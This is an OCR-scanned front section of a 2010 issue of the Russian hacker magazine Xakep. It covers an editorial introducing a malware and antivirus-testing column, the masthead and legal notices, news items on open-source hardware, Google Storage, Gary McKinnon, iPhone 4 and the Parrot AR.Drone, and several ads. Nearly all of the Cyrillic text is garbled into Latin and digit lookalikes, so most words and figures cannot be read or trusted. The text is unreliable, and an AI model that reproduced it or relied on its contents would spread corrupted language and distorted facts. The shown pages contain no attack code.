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ChIPOK 3EEPA -
B3nom ronopaa in process E]

50% completed

3arpyxeHo: 100 % Bkyca, 100 % nosnb3bl

OTKpbITb €Lle 0AVH rMa3npoBaHHbIN CbIpok “3ebpa”
NoC/1e 3aBepLLEHNS 3arpy3Ku

B3nomaii ronoa, noka oH He B3nioman Tebs!
Thl €lé ayMaellb, Kak?
[MpOCTO — C NOMOLLIbIO MMA3UPOBAHHOIO ChipKa «3ebpa»!

Nwm Ha npunaskax ropoaa!



Tbl, KOHEYHO e, 3aMeTU B NPOLLJIOM HOMEpe HOBYIO
py6puky MALWARE, nocasuieHHyio Mansapu v (aHTw)
BWPYCHbIM TexHonornsam. Pan coobuimts, uto beta-
TeCTyAancsa nTenepb HaLl >KypHas NomnosIHUICA HOBOW

exxemecsyHon pybprikoit, B KoTopol Mbl bygem TecTMpoBaTh
M BCAYECKM HarnbaTb aHTUBUPYCbI, PEBEPCUTL MHTEPECHbIE
Tpow 1 BoobLLe NncaTb 060 BCeM, 4TO CBA3AHO C BUpYyCaMu-
aHTVBMpycamun. Obolaemcs 6e3 NoAUTKOPPEKTHOCTY: B 3TUX

Aenax BakHa npAamoTa, HeCTHOCTb U HECTaH,D,apTHbIIZ noaxon.

Botatom HOMepe Mbl MO-HOBOMY B3MIAHYJIN Ha

TeCTMpOBaHMe aHTUBUPYCOB 1 YCTPOUIIM Kpall-TecT
nonynspHbIX aBMPOB 0TEYECTBEHHOI0 MPON3BOACTBA.
PesynbTat 0T/MYHbIN: TeCT 3aBanunu BCe, a 414
aHTMBMpYCa Ha bykBy «K» Mbl la>ke HALWAN 3KCKITHO3UBHbI
cnocob BbIHOCA, KOTOpbIV NpuaeTcs Tebe no BKycy.

Welcome to MALWARE!
nikitozz, rn. pea. X
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/PEAAKLLUA

>naBHbIi pepakTop

HukunTa «nikitozz» Kucanyux
(nikitoz@real.xakep.ru)
>BbinycKalowuii pegakrop
Hwvikonaii«gorl»Angpees
(gorlum@real.xakep.ru)
>PepakTopbl py6puk

B3J10M

Amutpuit«Forb» [lokyyaes
(forb@real.xakep.ru)

PC_ZONE v UNITS

CrenaH «step» Vinbux
(step@real.xakep.ru)

UNIXOID, SYN/ACK 1 PSYCHO
Anpgpet «Andrushock» Matsees
(andrushock@real.xakep.ru)
KOAWHI

Anekcangp «Dr. Klouniz» JlTozosckuit
(alexander@real.xakep.ru)
>JlutepaTypHblii pepakTop
Hnua AgacnHckas

>PepakTop xakep.ru

JNeonup Boronio6os (xa@real.xakep.ru)

/ART

>ApT-anpexTop

Esrennit Houkos
(novikov.e@gameland.ru)
>Bepcranbumk

Bepa CseTnbix
(svetlyh@gameland.ru)

/DVD

>BbinycKalowmuit pegakrop
CrenaH «Step» UnbuH
(step@real.xakep.ru)

>PepakTop Unix-pa3pena
AHTOH «Ant» XykoB
>MoHTaX< Bupeo

Makcum TpybuubiH

/PUBLISHING
(game)land

>Yupeauteno

000 «leim Jlang», 119021, Mockea, yn.
Tumypa @pyHse, a. 11, cTp. 44-45
Ten.: +7(495) 935-7034

Dakc: +7 (495) 780-8824
>leHepanbHbli aUpeKTop
[muTpuit ArapyHos
>YnpaBnsaowmi aupeKkTop
Haeng WocTak

>[lMpeKTOp No pasBUTHIO
Mawa PomaHoBsckuit
>[lupeKTop Nno nepcoHany
TatbsiHa [ynebckas
>®uHaHCOBbIN AUPEKTOP
Anactacua JleoHosa
>PepakuuoHHbI AUpeKTOp
Amutpuit NlagbikeHckuin
>PR-MeHepxep

Hatanbs JInTBuHoBCKas
>[lUpeKTop N0 MAPKETUHTY
Amutpun MntoLues
>InaBHbIl AU3aliHep

OHan TepHbynn

>[lMpeKTop No NPOM3BOACTBY
Ceprei Ky4epsiBblit

/PEKNIAMA

/Ten.: (495) 935-7034, dake: (495) 780-8824
>AupexTop rpynnbi GAMES & DIGITAL
Esrenus lopsivesa (goryacheva@gameland.ru)

>MeHepxepbl

Onbra Emenbanuesa

Mapus Hecteposa

Mapus Hukonaerko

>MeHepmxep no npogaxke Gameland TV
MapviHa PymsHuesa
[rumyantsevaldgameland.ru)

>Pab6oTa c peknaMHbIMK areHTCTBaMH
JNnans Crpexresa (strekneva@gameland.ru)
>Crapwmi MeHepKep

CeeTnaHa MuHuyk

>MeHepxepbl

Hapexnaa loHyaposa

HaTtanbs MucTiokoBa

>[lMpeKTop rpynnbl CNeLnpoeKkToB
Apcenuii Awomko (ashomko@gameland.ru)
>Cr: Tpad p

Mapbsi Anekceesa (alekseeva@gameland.ru)

/OTAEN PEAJIU3ALIUU
CNELNPOEKTOB
>[lnpeKrop

Anekcanap KopeHdpenba
[korenfeld@gameland.ru)
>MeHepxepbl

AnekcaHap [ypbskuH
CseTnana Mionnep

TaTbsiHa AkoBnesa

/PACNPOCTPAHEHME:
/ Ten.: (495) 935-4034, pake: (495) 780-8824
>AunpekTop no AucTtpubyumnn
Koluenesa TatbsaHa (kosheleva@gameland.ru)
>PyKoBoauTenb oTAeNna NoANUCKU
["oH4Yaposa MapuHa
(goncharova@gameland.ru)

Py TeNb C
Iyknyesa Hatanss (lukicheva@gameland.ru)

> MpeTeH3un U ononHuTenbHas uHda:

B Cny4ae BO3HMKHOBEHWA BONPOCOB No
Ka4eCTBY BNOXKEHHbIX UCKOB ,NLNTE NO
apgpecy: claim@gameland.ru.

> lop: NIMHKMA no

Ten.: 8(800) 200.3.999

BecnnartHo ana sBoHALWmMx 13 Poccun

> ins nuceM

101000, Mocksa,

MMmaenoytamt, a/a 652, Xakep
BapeructpuposaHo B MuHuctepctse
Poccuiickoit Pefepauyu no genam neyatw,
TeslepafiM0BeLLaHmIo U CPeACTBAaM MacCoBbIX
KoMMyHukauui M A 77-11802 ot 14
bespans 2002 .

OtneyataHo B TUNOrpaduu

«Lietuvas Rivas», Jlutsa.

Tupax 100 000 3k3emnnspos.

LleHa porosopHas.

MHeHue pegakumnm He obazatensHo cosnagaet
C MHeHveM aBTopoB. Peaakuvs yBefomnsieT:
BCe MaTepuarbl B HOMepe NpefoCcTaBAfoTCS
Kak nHdopMaLms K pasmbllwneHmio. Jluua,
1cnonb3yloLmne AaHHyo nHdopMaLmio

B MPOTMBO3aKOHHbIX LIESSIX, MOryT bbiTh
NpyBJEYEHb K OTBETCTBEHHOCTY. Pefjakuns 8
9TUX C/y4asix OTBETCTBEHHOCTY HE HECET.
Pepakums He HeceT 0TBETCTBEHHOCTU 3@
cofiepxaHue pekamHbix 06bsBEHNIT B
Homepe. 3a nepeneyvarky HalMx MaTepuasnos
6es cnpoca — npecnegyem.

Mo BonpocaM nuLeH3MPOBaHUS 1 NOYYeHs
NpaB Ha 1CNONb30BaHMe pefakLMOHHbIX MaTe-
puanos xypHana obpatyaiiteck No agpecy:
content@gameland.ru

© 000 «leim NIsng», PO, 2010
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OBO BCEM 3A ITOCJEAHUN MECAI]

YTAJJAW YTO: OPEN SOURCE, HO HE CO®T

MHorure o cvix Nop He MOryT MOHATb,
noyemy, pacrnpocTpaHss copT becnnatHo
1 ¢ McxofHUKamu, paspabotumku (Npasaa,
OueHb HEMHOTVE] yMYAPSIOTCS HEmnsoxo
3apabaTbiBaTh. Tak BOT Tebe HOBbIN TPEHA,
— Open Source Hardware (OSHW). la-aa,
eC/1 BEPUTb CTAaTUCTHKeE, TO pa3paboTurkn
cBobogHoro xenesa 3apabatbiBaloT MU~
JIVOHbI, @ HEKOTOpble — U [eCATKM MUJT-
NMOHOB flonnapos B rof. busHec-mMogens
no pa3paboTke OTKPbLITOro annapaTHoro

BeagleTouch ¢ anaroHanbio 4.3» [TauckpuH,
paspelenue 480 x 272), Li-ion akkymynatop
BeagleJuice 2600 mAh, koToporo xBaTuT

Ha 3-6 yacos, SD-kapTa Ha 4 [0, Ha bopTy
KoTopoW yxe ycTaHoBaeH Angstrom Linux v
MaTepuHckas nnata BeagleBoard. B utore
13 BCEeW 3TON rpyAbl Xene30k cobrpaeTcs
NONHOLLeHHbIN leBaiic, KOTOPbLIN M3HaYanb-
HO OTKPBIT A1 MPOKAYKU. [TnaHLeT MOXHO
1 HY>XKHO KaCTOMM3KpoBaTk: BMecTo Linux'a
nerko yctaHasnusaetcs Android, a kK camomy
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obecneyeHuns cocTonT BTOM, 4Tobbl co3aaTh  AeBalicy Lo6aBASIOTCSA LONOAHUTEIbHbIE
[3aiiH HEKOero yCTpoMCTBa U BbINOXMUTb Mofynwv Takue kak, Hanpumep, RFID-cun-
B OTKPbITbIV AOCTYN balibl ¢ YepTexaMu u ThiBaTesb. YCTPOMCTBO ANA CHUPUHIaE
cxemMamu, Kotopble kaxablii MoxeT becnnat-  RFID-MeTok Ha 6a3e Android ¢ knaccHbiM
HO MCMONb30BaThb U MOAMPULIMPOBATL. Tak NHTepdeiicoM — C/I0BOM, BCE 3aBUCUT
Tonbko oT TBoel paHTasmun. OborngeTcs

TaKoW KOHCTPYKTOp NOYTH B $400, Ho 3TO

Ha YeM e oHu 3apabaTbiBatoT? B nepsyio
ouvepefb, Ha komnnekTtax «Caenait cam».
Hanpumep, napHu n3 komnanuu Liquidware  siBHO gelleBne, Yem, Hanpumep, pasbupatb

(www.liguidware.com) npegnaratot Beagle
Embedded Starter Kit — Habop ond co3na-

HoBbIN iPad :).

HWS NNaHLLeTa U3 Cepum «Caenai cam».
B Habop BxogsT: OLED-ancnneit

ObJIAYHOE
XPAHUJULLE OT GOOGLE

EfBa Mbl pacckasanu o ToM, kak 0bauHble XpaHuauLLa faHHbIX Amazon S3 MOXHO UCMob30-
BaTb He TOJIbKO Ha BbICOKOHArPyXXeHHOM CepBepe, Ho M MpocToy cebsa fioMa (cTaTba «Amazon
S3 a9 0BbIuHbIX CMepTHbIX» M3 NpoLwsoro HoMmepa ][], kak Google aHoHcKposan ceolt 0bnay-
b cepeurc — Google Storage for Developers (code.google.com/apis/storage). Hooe xpaHn-
NViLLe ABASETCS NPSMbIM KOHKYpeHTOM S3 v npefiocTaBnseT 6e30Tka3HbIi 1 ObICTPbIA XOCTUHT
L5 faHHbIX 6e3 kakux-n11bo orpaHnyernii. [ofxon NPOCTON: «CKObKO pecypcoB noTpebyeT-

€S, CTOIbKO M MCMOABb3YiA, 33 CTONLKO ¥ 3annat». Kak v B cnydae ¢ S3, aaHHble ¢ bonbwmm
ypOBHEM M36bITOUHOCTY, 4TOObI BbINa BO3MOXHOCTL BOCCTAHOBUTH NOTEPSIHHbIE hparMeHThl,
pacnpefensioTcs no passnyHbIM faTalleHTpaM komnanuu. [pasga, y Amazon gataleHTpbl
eCTb BTPEX MecTax naaHeTbl, BTOM Yncne B EBpone, 4To yMeHbLUaeT 3af,ep>kKy 4J15 No/1b30Ba-
Teneli n3 3Toro permoHa, ay Google — noka Tonbko B LLTaTax. C apyroii cTopoHsl, v cam cepsuc
noka Haxo4uTCs B CTaAMM Noy3aKpbITOro TectTuposanua. [ing Toro, 4tobel onpoboBaTth noaxo-
nbl Google k obnauHomy xpaHeHwio AaHHbIX, oLeHVB Beb-rHTepdelic Google Storage manager
1 KOHCONbHY0 yTnAnTy GSULIL, HeobxoMMOo 3aNoNHUTE aHKeTy Ha CaliTe 1 LOXKAATbCH CBOErO
MHBaWTa. 3aT0 KaX /bl 3aperncTpupoBaHHbIin paspabotunk becnnatHo nonyyaet 100 M6

ans aanrbix 1 300 6 Tpaduka. Ketatw, yoke M3BECTHO, CKOIbKO COCTABUT OMiaTa 3a UCMOb-
30BaHuWe XxpaHunuila 8 byayuiem. Tak, rurabaiit nof faHHble y «AMa3oHa» CTOWT, B CPefHEM,
$0.105, ay Google HamHoro Gonbwe — $0.17. Koraa cueT naeT Ha TepabaliTsl, jaxe HECKONBbKO
LIeHTOB — 3T0 O4eHb DosbLas ckuaka.
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Windows®. XKusHb 6e3 nperpag.
ASUS pekomeHayet OC Windows 7.

AN o

V4

Inspiring Innovation - Persistent Perfection

Hoytoykun cepum ASUS U Bamboo Collection

Ha 6a3e npoueccopa Intel® Core™ i5

EcTecTBEHHbIV BbIOOP

Bce B Mupe cTpemutcst kK paBHOBecuio. MaeanbHo cbanaHcMpoBaHHOE coveTaHue
6ecnogobHOro gm3anHa 1 caMbiX COBPEMEHHbIX TEXHOMOIMIN Bbl HangeTe B HOyTOyKax
cepumn ASUS U Bamboo Collection, ocHalleHHbIx npoueccopom Intel® Core™ i5 n noa-
NMHHOW onepaunoHHon cuctemon Windows® 7 [JomalwHsAsa paclumpeHHas. Bocxuntum-
TeNnbHO TOHKME W ferkue, OHU MopasAaT Bac OTAENKOW U3 HaTypanbHoro 6ambyka.
HenoBTOpUMbIA PUCYHOK MOKPLITUA AenaeT kaxayt mogenb cepum ASUS U Bamboo
Collection yHukanbHOW, nogyepkMBasi MHAUBMAYaANbHOCTbL Bnagenbua M gobasnsas
HOBbIE LUTPUXKN K TPAAMLMOHHOMY 06pa3sy HoyToyka.

WWW.asus.ru BcemupHas rapaHtus 2 roga [opsivas nuHua ASUS: (495) 23-11-999

WHdpopmaumio o Tom, rae KynuTb HoyToykn ASUS MOXHO HaiiTu Ha caiite www.asusnb.ru
Intel, norotun Intel, Intel Inside, Intel Core u Core Inside siBnsitoTCA TOBapHBLIMM 3Hakamm kopriopaly Intel Ha TeppuTopum CLUA v ipyrux cTpaH.
ToBap cepThULMPOBaH, Ha NpaBax peknamei.

bbicTpee.
VMHee.

o

Iy



CB0b0JY MAKKWHHOHY!

Bo3MoxHo, Tebe nokaxeTcsi 3HakoMbIM MMst Fappy MakKuHHOHa, v 310 coBCeM He yau-
BUTENIbHO, BeAb B Havase HyleBbIX 3TOT DpUTaHCKNIA UK Hagenan HeMaso Lyma, XakHyB
cepsepebl [leHTaroHa n HACA. Toraa oH cymen Bne3sTs B 97 rocyAapCTBEHHbIX MaLLIMH, 4TO,
KaK yTBepXKAatT aMepuKaHLsl, NPUBENO K MOBPEXAEHNSM KOMMBIOTEPOB, OTKIIOYEHUSM OT
cetTnnyuepby B pasmepe $800 Toic. ATappw Bcero-Hascero uckan nHdopmaumio 06 H0
1 coBeplUeHHO He cobrpancs H1uyero nopTuTh. K cnoBy roBops, OH Tak HUYEro v He Hallen
1 caM yBepeH, 4T He NPUYMHUN Hikakoro yuepba. Tem He MeHee, MaKnHHoHa elle B
2002 rofy Hawnwv v apecToBanu, BNOCNeACTBUM OTNYCTUB Ha cBobofy c ycnoBveM 3anpeTa
Ha nonb3oBaHue MK u exeaHeBHbIX BU3UTOB B nonnLeickuii ydactok. C Tex nop fappu,
CTpafatoLnii oT cuHapomMa Acrneprepa, enpeccyin, HeBPO30B U NPUCTYMNOB NaHWKw, cTan
coBceM nnox, Ho CLLIA, HaumHas ¢ 2005 roaa, Bce HacToumBee TpebyoT ero akcTpagmumm.
B Amepuike xakepy rpo3unt go 70 neT TiopbMbl v 0rpoMHbIi Wtpad. MaTts MakKvHHoHa n
y$0onorn-akTMBKCTbI BCe 3T0 BpeMs oTcTanBanu [appu, kak Mornu, Ho bes ocoboro ycnexa.
Ha paHHbIi MOMEHT WaHC 0TMEHWTbL SKCTPaAMLIMIO OCTaNCs BCENO OLMH — N0 MefNLMHC-

ropofa.

KM nokasaHuam. [Ncvxmatp MakKnHHoHa yTBepXXaaeT, 4To ero nauyeHTa HuKkak Henb3s
nepeso3uTb B CLLIA, Beab lappy ellle HYKOTAa B XKWM3HU He NOKMAAN NPeesnioB POLHOM0

37000 YyeI0BeK YAa/IM aKKayHTbI B Facehook B 3HaK mpoTecTa NpoTHB TOTO, YTO
COLMaNbHaA CeTb He bepexeT NPUBATHOCTb MX LaHHbIX

IPHONE 4, UNIW «JUST AVOID HOLDING IT IN THAT WAY>

Cruny Ixobcy noHagobunock 112 MuHYT Ha KoHbe-
peHumu paspabotymkos WWDC 2010, ytobbi pac-
CKa3aTb 0 TOM, YTO HaC XKAeT; Mbl XXe nocTapaeMcs
YNOXMTbCS B OfIHY HOBOCTb. BHEWHWI B aeBalica
HW NS KOTo He cTan ctopnpu3om. Koraa npototvn
yCTpOWCTBa Nonan B pyku xypHanucrta Gizmodo,
Masio KTO BEpWII, HTO YPOAIMBbIN KMPMY — 3TO HO-
bl iPhone. KommeHTapuu a-ns «[la cpasy BugHo,
YTO KMUTacKas NoAfenka» CTUXAM nocse Toro, kak
Apple npucnanasanpoc c TpeboBaHmeM BEPHYTL
neB.alic, anocne pennsa Ha WWDC pasom npe-
BPaTUINCh B PaA0CTHbIE BOCKIMLAHVS MO NMOBOAY
4yMOBOTO [iM3alHa HOBOro cMapTdoHa. TyT, Kak Hu
kpy™1, Apple — Koponu MapkeTuHra. KsagpaTtHocTb
B j13aliHe NosiBmIach 13-3aToro, 4To ¢ obeunx cTo-
poH TenedoHa Tenepb antoMoCHMINKaTHOe CTeKS0.
[laHHble c koHpepeHLuum: oHo B 30 pa3 npouHee 1

B 20 pa3xecTye nnactuka. PaHblue 3ToT cynep-
MPOYHbIA MaTepuan NPUMeHSCS B NPOM3BOACTBE
BEpTO/IETOB V1 CBEPXCKOPOCTHbIX MOE3/0B, a Tenepb
—BiPhone. Ha caiite Apple gaxe ectb ntobonbIT-
HbIi POAIVIK, FAE CTEKIIO NOABEPraeTcs NaaBHOMY
BO3eiCTBMIO, NOA KOTOPbLIM 1erko rHetcs. Celvac
e, nocsie Havyana npopax, 8 Cetn ectb Hemasno
$OTOK C pa3buTbIM CTEKIOM: BbIAEPXKMBas NiaB-
Hble Harpy3Ku, OHO TOYHO Tak e, Kak 1 0bbluHoe,
He BblAepXXMBaeT pe3Kkoit Harpy3ku! 3To nepsbiii
denn. TonwmHa iPhone coctaBnseT Tenepb

9,3 MM — 3T0 caMblIli TOHKWI cMapTdOH Ha cerof-
HALUHWI BeHb. VIHTepecHo, YTo KpenneHnaMn ans
BCex KoMMoHeHToB iPhone aBnstoTcA MeTanm-
yeckune 0boakM no Bcelt BOKOBOI MOBEPXHOCTY Te-
nedona. OHK e ABnsioTcA aHTeHHamu Bluetooth,
Wi-Fi, GPS, a Takxe TenepoHHbIMV MOAYASMM

» 006

GSM n UMTS. CMenbiii nogxop okasanca 6omboit:
ecnv TenedoH B3sTb B IEBYIO PYKY, LOTPOHYBLUNCH
[10 IeBOro HUXXHEro Kpasi cMapTdOoHa, To CurHan
NOCTENeHHO NaflaeT 1, B KOHLLE KOHL0B, annapat
NOJIHOCTbIO TepsieT cBsA3b! EQNHCTBEHHOE, YTO MO-
xeT npefnnoxutb Apple, v 3To cnosa camoro Ctvea
[xobca Ha rHeBHOE NMCbMO — NPOCTO He fiep>KaTb
ero Takum obpasom (B opuruHane: «Justavoid
holding itin thatway»). Man BoT ewe: kynuTs pesu-
HOBbIV «BaMnep» — KyCo4Yek KpacBoro KuTamc-
koro roBHa 3a $29. Hy, unu 3akneuts ckotyem, yero
He cTecHa0TCA Apble daratsl ;). CunTaem ganblie
— 370 BTOpOW delin. BaxxHoe HOBLLIECTBO HOBOMO
iPhone 4 — 310, Be3ycnosHo, cHorcwmbaTenbHbIN
nucnnent Retina. VikxeHepsl Apple Ha ToM e
3,5-A101IMOBOM 3KpaHe yMyApUANCh pa3MecTuTb
B4 pa3a bonblue nukcenen, 4em Ha NpeablayLLmnX
mogensax iPhone. VIx nnoTHOCTbL HAaCToONbKO BeN-
Ka, 4TO YesI0BEYECKWIA a3 He MOXEeT Pas3nnyunTb
oTAeNbHble 78 MUKPOMETPOBBIE NMKCEN Ha pas-
peweHun 960x640. Ho BoT oH, TpeTuin dpeiin — Ha
HEKOTOPbIX 3K3EMMISipax Ha IKpaHe NosiBAS0TCS
>xenTble naTHa!l «Tak Yero e ero TorAa noky-
natT?» — fa notoMy 4yto ato MeratenedoH! Mpn
BCEX M3BECTHbIX NJtocax oH 063aBencs KNnaccHom
5-MeranukcenbHol KamMepoi, KoTopasi MOXeT
CHuMaTb Buaeo ¢ paspewernem 720p (1 He Byaet
KypuTb B TeMHOTE, NoToMy 4To ob3asenack LED-
BCMbILWKOM). TTOMVIMO 3TOr0 NoABKNaCcs GPoH-
TanbHas kKaMepa /15 B1Aeo3BoHKoB. [pasaa,
nocnepHsas pabotaetuepes Wi-Fino texHonorvn
Facetime, koTopas noka focTynHa TONbKO MoKy-
natensmiPhone 4, xoTs 4oHa CKOPO NOSBUTLCS
1 B Skype. [Momumo 3toro gobaswcs rupockon,

Bonee emkas batapes, aHeprocbeperaiolnii npo-
ieccop A4, 11, KOHEYHO Xe, HOBas onepaLoHHas
cnctema —i0S 4.0. TnaBHasa puya — 310 Habuswas
0CKOMUHY MHOT03a/ia4HocTb. [epeknioyerne
MEX/1y CBEPHYTHIMU MPUOXKEHWSIMU TPOUCXOLNUT
NPakTU4eCKU MOMEHTabHO, HO /19 MOLLAEPXKY
MYNETUTaCKa [LOSIXHbBI TOKOPMETh elle U caMn
NPOW3BOANTENV MPOTPaMM, BbIMyCTUBLUME HOBbIE
penun3bl cyyeToMm obHosneHHoro SDK ot Apple.
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NPOU3BOAUTENBHOCTb
HauuHaeTcq ¢ Intel®.

Tpebyure Intel Inside:

BcTpevariTe
HOBOIO

MNepcoHanbHbI kKomnbtoTep ULMART Office i3
Ha 6aze npoueccopa Intel® Core™ i3.
Baw HOBbIN cOTPYAHMK!

I-[I IONVIAPT <05
(812) 334-9939
\

www.ulmart.ru

Intel, Intel Core, Intel Core Duo ABNsiOTCS TOBapHLIMU 3Hakamu, NMG0 3aperucTpUPOBaHHLIMM TOBAPHLIMW 3HaKaMW,

npasa Ha KoTopble NpuHagnexart kopnopauuu Intel unu ee nogpasgeneHwam Ha Tepputopun CLUA u apyrux cTpaH.

\g

CORE

inside

bbicTpee.
YMHee.

4

Kopnopauws Intel He HeceT OTBETCTBEHHOCTL W HE OCYLWECTBAAET NPOBepKY AOGPOCOBECTHOCT WAW AOCTOBEPHOCTM KaKMX-AMGO YTBEDXKAGHWA MAW 3anBASHWWA

OTHOCUTEABHO KOHKDETHBIX KOMNBIOTEPHBIX CUCTEM, YTIOMUHAHWE O KOTOPbIX COABPKWTCA B AGHHOIR PEKNaME.

Kopnopauws Intel ©2010r. Bee npaga 3awmuiers. Intel, norotun Intel, Intel Core v Core ABARKOTCA TOBAPHLIMU 3Hakamu Ha Tepputopuy CLUA v Apyrux cTpaH. Pekaama.

ﬂﬂy‘l’lﬂe HaWMEHOBaHWA 1 TOBAPHBIE IH3KW ABARKOTCRA COGCTEEHHDC THHD CBOMX 33K0 HHBIX BA3ABADLIER



W3PAWUJIb BEPBYET XAKEPOB

Bce bonble n bonblue rocysapcTs Ha HalweM rofnybom
WapuKe NMPUXOANT K BbIBOJY, YTO CO3AaHUe cneynanbHbix
knbeprnoapasfeneHunini — 3To NpoAVMKTOBaHHas BpeMeHeM
HeobxoamMocTb. BoT n Mi3pannb pewnn ynennts ocoboe
BHMMaHVe JaHHOMY BOMpPOCY, Tak Kak aTakv Ha U3pausb-
CKUWe CaiiTbl U MOMNbITKM B3/10Ma NPaBUTENbCTBEHHbIX
pecypcoB B nocnefHee BpeMs yyactununce. B Apmun
obopoHbl Mapanna [LLAXATT), B cTpykType KpynHeliwero
noapasgenerusa BoeHHol passefku 8200, ckopo noasuTtcs
HacTosAWN «knbepcnelHas», KOMMNIEKTOBaTb KOTOPbIN
cobupatotcs rmkamu u xakepamu. KoMnbioTepHbIX reHres
y>Xe Havyanu uckatb B pagax LAXAJla n BHMMaTenbHo
BblCMaTpuBaTh CpeAn NpU3biBHUKOB. BapnaHT npurnawe-
HVS CMeLnanmcToB CO CTOPOHbI, 13 HEBOEHHbIX CTPYKTYP,
Toxe paccmaTpuBaeTcs. B 3afavy HoBoro nogpasne-
NeHNs BOWAET He TONIbKO 3aLlMTa XN3HEHHO BaXHbIX
Y3108 M3paunibCckoro kKnbeprnpocTpaHcTBa, HO Takxe
aTaku 1 3axBaT KOHTPONA Haf CTpaTernyecky BaxHbiMy
Bpaxecknmu obbekTamn B CeTn. Heyero ckasats, 3aTen
MHTepecHas v BNofiHe B fiyxe BpeMeHu. [laxe kak-To
0b1AHO, YTO B Hallel apMmUm HET NoJ00HbIX CNeLoTPAA0B.
Cornacuce, Beino 6bl KpyTo, €CNK bbl BMECTO TyNbIX TECTOB
Ha NpodnNpMroAHOCTb U 3aAaHNI TUNa «KonaTb 0TCoAa U
noobepna» gasanw bbl B 3ybel nmap, oTnaguuk v Tectosoe
3ajaHve 415 B30Ma.

3a nocneauue J MECH LA Gbino nposaHo 0KoNo 2000 TNYLWKUNOK ans
noaasneHus cetu Yota. TakuM o6pa3oM 6u3Hec-LeHTpbI GOpIOTCA C AewieBbIM
WHTEPHETOM, CTaBLUAM AOCTYNHbLIM AN1A UX KJIUEHTOB

» 008

OT BUHTA!

Korpa Step noctasun Ha cBoW ipeBHWMI
Windows-KOMMyHMKaTOp Nporpammy,
nepenaloLLyto n30bpaxeHus ¢ kamepbl No
Wi-Fi, nepsoe, 4to oHw ¢ Forb’om cienanu
— CMEJI0 NPUKIENIN CKOTYEM TenedoH K
paavoynpaBaseMoii MallMHKe U FOHSAN Mo
kyxHe pegakuuu :). Ho Bce ato — banosc-
TBO M0 CPABHEHMIO C TMKOBCKOW UTPYLIKOW
Parrot AR.Drone . BHelwHe 370 006bIYHbIN
paavioynpasasemMbli BEPTONET, Nyckan v
cTansHoro gyTypuctuyeckoro Buaa. [mas-
HO€ B iPYroM — BMEeCTO AXKOMCTHKa A
yrpaBieHNs UCMoSb3yeTCs akcenepoMeTp
iPhone, a B kayecTBe pafjnokaHana — Tex-
Honorna Wi-Fi. B 3aBMcnMoCTM 0T TOT0, Kak
BepTeTb B NpocTpaHcTBe TenedoH, byget
MN3MEHATLCS Hanpas/ieHne ABUXKEHNS
kBafpokonTepa. Ho faxe aTo ele He Bce.
30bpaxeHuns ¢ ABYX Kamep, KOTOPbIMY
ocHaleH Parrot AR.Drone, nepegatotcs
Ha aKpaH cMapTdoHa, NpeBpalias gesaic
B HacToAwWwMi becnunoTHuk. CyyeTom
pfansHobonrocty Wi-Fi MoxHo yneTtath

Ha UrpyLLKe Aaxe B Te MeCTa, KOTOpbIX
du3nyeckn He BUAMLWL. A i Toro, 4Tobb
He clumbaTb BCe Ha cBoeM nyTv (Bce-Takm
OpUeHTPOBaTLCA Mo n30bpakeHuio He Tak
YX W JIErKO), Ha BEpTO/IETe yCTaHOBEHI
yNbTPa3BYKBbIE aNlbTUMETPbI, @ CaM AeBalic
NpVBOANTCH B IBUKEHUE 371€KTPOMOTO-
pamu. Bnepsbie Parrot AR.Drone 6bin
npeacTasieH 3uMoii Ha BeicTaBke CES,
OAHAKO HMKakas MHGopMaLLMs 0 Npoaaxe
He pa3rnalanack. KTomy xe, He b0

[,0 KOHLL@ CHO, YAaCTCs N HanafuTb ce-
puitHoe Npon3BoACTBO. /I BOT TMpe HoBble
naHHble. KBagpokonTep BCce e nocTynuT

B MPOAAXYy, ¥ CIYHUTCS 3TO y>Ke OCEHbIO.
OboraeTcs Takas urpylwka scero s $299.99
NpOTVB NPOrHO3MpoBaHHbIX paHee $1000-
1500! YBbl, Ha cTaHMLax XypHana H1Kak

He BCTaBUTb BUAEOPOIIUK C Npe3eHTaLunei
3TOM OPUreHHOM UTPYLLKM, HO Thl MPOCTO
0653aH NOCMOTPETH POVIKM Ha calTe

ardrone.parrot.com, 4To6bl NOHATH HaLL
BOCTOPT.
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Cobepn apy3ein -
nonyy4u npu3!

Mapka Wings npucyTcTByeT Ha pOCCUICKOM
pbiHke ¢ 2006 rofa v Ha NpoTAXeHUN

BCEro 3TOro BpeMeHW He ycTaeT pafoBaTh
CBOWX MOKSIOHHMKOB BCEBO3MOXHbIMU
akunsmMu. CerofHsa Mbl NpefcTaBnsem

Tebe HoBbIN NpoekT Wings - counanbHyio
ceTb www.connection.ru, rae Tel He TOSIbKO
CMOXelllb HaNTW HOBbIX APY3€EW, HO 1
BbIMIpaTb KNACCHbIE MPU3bl B AEHEXHOM
skBMBaneHTe!

Tenedpon (6.000 py6nei)
Hoyt6yk (12.000 py6ne#)
Astomo6unb (1.000.000 py6nen)

Xoyellb He BCTaBas U3-3a Komna cTaTb obnagaTenem
yHMBepcanbHol dnew-kapTsl, Tenedpora (6.000
pybneit), Hoytbyka (12.000 pybnei), nnn paxe
LWMKapHOTO HoBeHbkoro asToMobuns (1.000.000
pybneit)? Torga pernctpupyics Ha caite, npuriatlai
TyAa Apy3en, nonyyan 3a 37o bannel v y4acTsyi B
copeBHOBaHMK!

MoapobHocTn akumm 1 MNpaBuna y4acTns cMoTpuTe Ha
cante www.connection.ru. CyTb KOHTeCTa npefesnbHo
npocTa: utobbl nony4nTb 0gHy 13 5.000 dpnewek,
[0CTaTOYHO NpurnacuTe Ha canT 20 yenosek u
3apaboTaTb He MeHee 20 bannos. YTobbl NPUHATL
y4yacTue B COPeBHOBaHMM 3a NoNy4YeHne 04HOro 13
650 TenedoHoB, 65 HOYTOYKOB 1, KOHEYHO, MaLUNHbI —
npurnacn He meHee 50 apy3en 1 3apaboTail He MeHee
50 6annoB, COOTBETCTBEHHO.

3a 4yTo Ha3HayalTCa 3arafgoyHble bannel? Ha cante
www.connection.ru ecTb pasges ¢ roBopsLnm
Ha3BaHveM «MenuateaTp», rae TBOW Apy3bs CMOTYT
pasBreybcs, caywas My3biky, a Takxe npocMaTpmusas
KnHo- n doTomaTepuransl. Ho B «MeamnaTteaTpe» MoXHO
M HY>XKHO He TONIbKO CMOTPETbL, HO U KOMMEHTUPOBAT,
Belb Kak TOfIbKO NpurnalleHHbli Tobol apyr

SRCOBEPL
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0CTaBMT KOMMeHTapwii K toboMy B1AEO UNK ayamno-
npon3BeaeHuto, Tl 3apaboTaews 1 bann.

Kak Buanb, Beinrpeieats npussl o1 Wings He Tak
YK CNOXHO: nepBble 5 HoyTbykoB 1 9 TenedoHOB, yxe
